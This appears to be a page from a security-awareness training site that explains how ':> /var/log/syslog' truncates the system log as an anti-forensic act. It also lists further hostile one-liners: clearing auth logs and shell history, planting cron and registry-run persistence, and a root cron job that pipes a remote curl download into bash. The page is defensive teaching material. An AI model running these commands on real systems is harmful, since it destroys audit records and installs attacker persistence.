Dangerous
:> /var/log/sysloglinux · bash · Advanced
Truncates the system log to zero bytes using a redirection with no command at all. Two characters destroy the record of everything the system did, and the shape is unusual enough that it often reads as a typo rather than an action.
Signals to notice
- Destroys system log history
- Anti-forensic: destroys the record of what happened
- Minimal syntax hides a destructive effect
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert